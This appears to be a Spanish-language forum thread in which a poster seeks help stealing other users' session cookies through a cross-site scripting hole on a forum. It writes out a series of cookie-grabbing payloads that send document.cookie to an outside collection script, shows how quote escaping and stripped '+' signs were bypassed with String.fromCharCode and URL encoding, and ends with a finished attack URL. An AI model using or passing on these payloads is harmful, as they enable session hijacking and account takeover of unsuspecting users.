estaba tratando de acer un xss en una pagina donde cuando pongo
<script>alert(document.cookie)</script>
me regresa exitosamente mi cookie con la que me logeo a la pagina, me puse a leer uno de los tutoriales de como agarrar la cookie de otro usuario y encontre muy buena iformacion, de echo ya tengo una muy buena idea de como aserle con el siguiente script:
<script>window.location='http://www.tuserver.com/gcookie.php?c='+document.cookie;</script>
mi unico problema es que cuando pongo eso no me envia la cookie a gcookie.php por que la pagina donde estoy asiendo el xss pone el codigo asi:
<script>window.location=\'http://miserver.com/gcookie.php?c=\' document.cookie;</script>

en pocas palabras cuando ingreso el script agrega una " \ " antes de cada " ' "

alguien sabe como puedo poner el mismo script para que mande la cookie de la persona que le pike al link a mi cooki graber o algo similar?

gracias

si entendi bien mi script deberia de kedar algo asi?

<script>window.location=+String.fromCharCode(39)http://death4fun.org/wp-content/themes/a-blog-of-my-own/gcookie.php?c=+String.fromCharCode(39)+document.cookie;</script>

pero lo que aora me di centa que paso fue lo siguiente.... al parecer elimina los simbolos de +

ese es el codigo fuente de la pagina despues de ingresar mi script
<script>window.location= String.fromCharCode(39)http://death4fun.org/wp-content/themes/a-blog-of-my-own/gcookie.php?c= String.fromCharCode(39) document.cookie;</script>

estoy asiendo algo mal o estoy en lo correcto y si omite el simbolo de +?
ay algo que pueda hacer?

a disculpa mi ineptitud... ya logre que porlomenos me aceptara las ' lo que pasa aora eske no se que codigo es lo que tengo que cambiar a ASCII o si ay algun error en mi codigo...

el esenario es este, cambie el lugar de mi cookie graber a un directorio mas facil.

cuando pongo en la pagina <script>alert(document.cookie)</script> me da mi cookie de el foro

poniendo <script>window.location='http://death4fun.org/gcookie.php?c='+document.cookie;</script> deberiade mandarme la cookie de el foro a mi (el foro no esta en death4fun.org)

aora con tu ayuda puse lo siguiente:

<script>window.location.href=String.fromCharCode(39,104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)</script>

que es :

'http://death4fun.org/gcookie.php?c='+document.cookie;

pero lo que ase es mandarme a

http://www.paginaconxss.com/'[url]http://death4fun.org/gcookie.php?c='+document.cookie;[/url]

perdon pero no se que hacer :S para que me mande mi cookie a http://death4fun.org/gcookie.php

gracias...

creo que ya kedo, esto fue lo que ise siendo este el scrip original

<script>window.location='http://death4fun.org/gcookie.php?c='+document.cookie;</script>

lo cambio por

<script>window.location=String.fromCharCode(104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61)+escape(document.cookie);</script>

donde
104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61
es :
http://death4fun.org/gcookie.php?c=

pero aun asi no funciono.... trate tambien con

<script>window.location=String.fromCharCode(104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61)+document.cookie;</script>
que es igual pero en bes de +escape(document.cookie); puse +document.cookie

pero ninguno funciono, este es el codigo fuente:

<script>window.location=String.fromCharCode(104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61) escape(document.cookie);</script>

como te das cuenta omite el simbolo de "+" eso no tiene nada que ber?

si gracias, para los que no son tan dotados kedo exactamente asi:

http://www.paginavuln.com/filevuln?pag=%3Cscript%3Ewindow.location=String.fromCharCode(104,116,116,112,58,47,47,100,101,97,116,104,52,102,117,110,46,111,114,103,47,103,99,111,111,107,105,101,46,112,104,112,63,99,61)%2Bescape(document.cookie);%3C/script%3E

gracias